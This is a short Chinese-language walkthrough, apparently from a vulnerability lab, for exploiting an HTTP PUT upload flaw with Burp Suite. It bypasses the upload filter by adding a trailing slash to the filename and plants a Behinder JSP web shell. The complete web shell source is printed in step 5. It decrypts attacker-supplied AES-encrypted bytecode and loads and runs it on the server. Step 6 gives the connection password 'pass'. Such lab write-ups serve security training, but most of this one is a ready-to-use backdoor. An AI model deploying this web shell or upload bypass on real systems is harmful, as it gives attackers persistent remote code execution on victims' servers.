1.访问漏洞环境
2.使用burpsite进行抓包并发送到Repeater
3.使用PUT请求进行上传文件,上传成功
4.查看已上传文件test.txt,可以看到漏洞存在
5.接着上传冰蝎马,注意在文件名后面添加斜杠进行绕过
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
6.采用冰蝎3.0进行连接,密码是pass(可自行修改)